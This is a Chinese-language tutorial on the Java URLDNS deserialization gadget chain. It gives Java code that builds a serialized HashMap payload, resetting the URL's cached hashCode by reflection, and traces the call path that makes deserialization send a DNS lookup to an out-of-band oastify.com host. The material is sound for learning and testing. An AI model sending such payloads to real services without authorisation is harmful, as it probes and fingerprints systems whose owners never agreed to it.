URLDNS

当我们对一个类进行反序列化操作的时候,会调用该类的readObject方法,

Demo serializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package Test;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class serializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("username",11);
//System.out.println(person);
HashMap<URL,Integer> hashMap = new HashMap<>();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://jm97wyv7516bpv5b21bar09naeg54u.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);
hashMap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashMap);
}
}

Demo unserializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package Test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserializeTest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
//Person person = (Person) unserialize("ser.bin");
//System.out.println(person);
unserialize("ser.bin");
}
}

调用链如下

1
2
3
4
5
6
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

由于进行了反序列化操作,所以会触发反序列化类的readObject方法,调用了hash方法,继续跟踪

image-20240330160634829

调用hashcode方法,由于我们传入的是url,所以直接找url类的hashcode方法

image-20240330160723106

注意判断,如果hashcode等于-1,才会调用this.handler.hashCode

image-20240330160743661

进入hashcode方法,发现调用了getHostAddress,参数即我们要发送dns请求的地址

image-20240330160844591

调用getbyName方法,发送dns请求

image-20240330161058024

在但给map进行赋值的时候,会用到put方法

image-20240406133851080

image-20240406133857208

put方法也会调用hash方法,进而将整条链子走了一遍,导致hashcode不为-1

image-20240406133922526

就导致在这里不会触发hashcode,进而执行失败,所以在序列化前我们需要将hashcode反射赋值回-1,这样才有了我们上边的那条链子